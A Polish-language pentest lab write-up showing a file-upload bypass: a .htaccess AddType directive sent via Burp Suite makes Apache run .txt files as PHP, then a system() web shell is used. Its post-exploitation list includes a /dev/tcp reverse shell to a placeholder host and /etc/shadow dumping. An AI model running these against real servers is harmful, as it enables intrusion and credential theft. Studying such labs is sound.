Obejście zabezpieczeń komponentu file upload
Opis Aplikacji Aplikacja udostępnia formularz umożliwiający przesyłanie plików z rozszerzeniem .txt.
Zabezpieczenie: Mechanizm po stronie UI blokuje pliki z ciągiem „php” w nazwie (tst.php, tst.php.jpg). Dodatkowym elementem zabezpieczenia jest serwer HTTP Apache2, nie pozwala na upload plików z "php" w nazwie.
Zadanie: Ominięcie czarnej listy nazw plików i wymuszenie wykonania kodu PHP poprzez manipulację konfiguracją serwera Apache. W tym celu wykorzystanie podatność uploadu pliku .htaccess, która umożliwiła interpretację plików .txt jako skryptów PHP i przeprowadzenie zdalnego wykonania poleceń systemowych.
Szczegółowy opis: Wysłanie pliku shell.txt za pomocą formularza i przechwycenie żądania HTTP podczas przesyłania w Burp Suite. Modyfikacja pliku shell.txt na .htaccess oraz dodanie derektywy AddType application/x-httpd-php .txt, co wymusi interpretację plików .txt jako skryptów PHP, a następnie — również przez Burpa — przesłać pierwotny plik shell.txt z payloadem <?php system($_GET["x"]); ?>, umożliwiając zdalne wykonanie poleceń systemowych (np. ls /, cat /flag.txt) przez parametr x w przeglądarce.
Target IP: [terget_ip]
- Przygotowanie pliku .htaccess.
Cel: Wymuszenie interpretacji plików .txt jako skryptów PHP przez serwer Apache.
Działanie: Wykorzystanie mechanizmu konfiguracji Apache, przesyłając plik .htaccess zawierający odpowiednią dyrektywę MIME co spowoduje zmianę sposobu przetwarzania plików .txt na serwerze — od tej pory są one traktowane jako pliki wykonywalne PHP.
Payload:AddType application/x-httpd-php .txtnano .htaccess AddType application/x-httpd-php .txt.txtodpowiada formatowi danych jakie przyjmuje formularz na UI SCREEN: pentest6 - scr1
SCREEN: pentest6 - scr2
SCREEN: pentest6 - scr3
- Przygotowanie złośliwego pliku shell.txt.
Tu wystarczy utworzyc jakikolwiek plik .txt poniewaz zlosliwy kod wyślemy z poziomu Burpa
Cel: Stworzyć złośliwy plik, który pozwoli na zdalne wykonywanie poleceń systemowych.
Działanie: Przygotowanie pliku tekstowego shell.txt, którego zawartość stanowi prosty interpreter poleceń PHP. Skrypt odczytuje parametr x z żądania HTTP i przekazuje go do funkcji system(), co pozwala na wykonanie dowolnego polecenia w systemie operacyjnym. Dzięki wcześniej przesłanemu plikowi .htaccess, serwer Apache potraktuje ten plik .txt jako skrypt PHP i wykona jego zawartość.
Payload:<?php system($_GET["x"]); ?>SCREEN: pentest6 - scr4echo '<?php system($_GET["x"]); ?>' > shell.txt cat shell.txt
- Przesłanie pliku z rozszerzeniem .txt do aplikacji.
Cel: Umieścić plik w aplikacji webowej
Działanie: Wykorzystanie formularza uploadu dostępnego w aplikacji.
- Przechwycenie i modyfikacja żądania POST w Burp Suite
Cel: Podmiana zawartości przesyłanego pliku
Działanie: Aby przesłać plik .htaccess, którego nie można załadować bezpośrednio przez interfejs użytkownika, należy przechwycić żądanie uploadu pliku w Burp Suite (Proxy) i przenieść je do zakładki Repeater. Następnie należy zmodyfikować nazwę pliku, nagłówki (Content-Type) oraz dodać właściwą treść.
filename=".htaccess"
Content-Type:application/octet-stream
Body:AddType application/x-httpd-php .txt
🚨 Plik .htaccess zostaje przesłany na serwer mimo ograniczeń formularza. Modyfikuje on zachowanie serwera Apache umożliwiając dalsze wykonanie kodu poprzez manipulację typem MIME.
SCREEN: pentest6 - scr6
SCREEN: pentest6 - scr7
-
Wylistowanie plików - Wyświetl katalog główny serwera (Czarna lista)
Cel: Rozpoczęcie eksploracji systemu od najwyższego poziomu.
Działanie: Wykonanie polecenia ls / za pomocą web shella (shell.txt), przekazując je jako parametr x w URL:http://[terget_ip]/shell.txt?x=ls /-
shell.txtweb shell, który wykonuje kod PHP z parametru x. -
x=ls /polecenie systemowe ls /, czyli lista plików i folderów w katalogu głównym systemu Linux (/).
🚨 Zostaje wyświetlona zawartość katalogu głównego systemu (np. bin, etc, home, var, root, tmp), co umożliwia dalszą analizę struktury plików i potencjalnych punktów dostępu.
SCREEN: pentest6 - scr8
SCREEN: pentest6 - scr9
Wejście w namierzony konkretny katalog[http://terget_ip]/site4/shell.php?x=cat%20/flag14.4.txt -
Post-Exploitation Web Shell – Etapy i Techniki
-
Rekonesans serwera – identyfikacja środowiska:
http://[target_ip]/shell.txt?x=whoami http://[target_ip]/shell.txt?x=id http://[target_ip]/shell.txt?x=uname+-a http://[target_ip]/shell.txt?x=pwd http://[target_ip]/shell.txt?x=ls+-al -
Przeglądanie katalogów — dostęp do danych aplikacji:
http://[target_ip]/shell.txt?x=ls+-al+/var/www http://[target_ip]/shell.txt?x=ls+-al+/var/www/html http://[target_ip]/shell.txt?x=cat+/var/www/html/config.php -
Sprawdzenie możliwości zapisu na serwerze — utworzenie pliku przez web shell i odczyt:
http://[target_ip]/shell.txt?x=echo+hello+>%20/var/www/html/test.txt http://[target_ip]/test.txt -
Reverse Shell (jeśli możliwe).
nc -lvnp 4444 http://target/upload/shell.txt?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/YOUR_IP/4444+0>%261' -
Eskalacja uprawnień, znalezienie flagi, dump baz danych.
W zależności od systemu operacyjnego i uprawnień użytkownika możesz: • sprawdzać sudo (sudo -l) • szukać cronów, SUID-ów (find / -perm -4000 2>/dev/null) • dumpować hashe haseł (/etc/passwd, /etc/shadow jeśli masz roota)
Po uzyskaniu web shella (RCE) możesz działania uszeregować według celów i priorytetów ataku:
Wnioski końcowe:
Przeprowadzone testy wykazały poważną lukę w mechanizmie filtrowania plików przesyłanych przez użytkownika. Pomimo prób ograniczenia uploadu do określonych typów plików, możliwe było obejście zabezpieczeń poprzez przesłanie pliku.htaccess, a następnie pliku .txt zawierającego kod PHP. Pozwoliło to na wykonanie poleceń systemowych na serwerze, takich jak ls /, co potwierdza istnienie zdalnego punktu wykonania komend (RCE) na poziomie rekonesansu.
- Ominięcie zabezpieczeń uploadu plików z „.php” w nazwie.
- Wgranie niestandardowego
.htaccess, który zmienia zachowanie serwera Apache. - Wykonanie polecenia systemowego i uzyskanie listy katalogów systemu plików.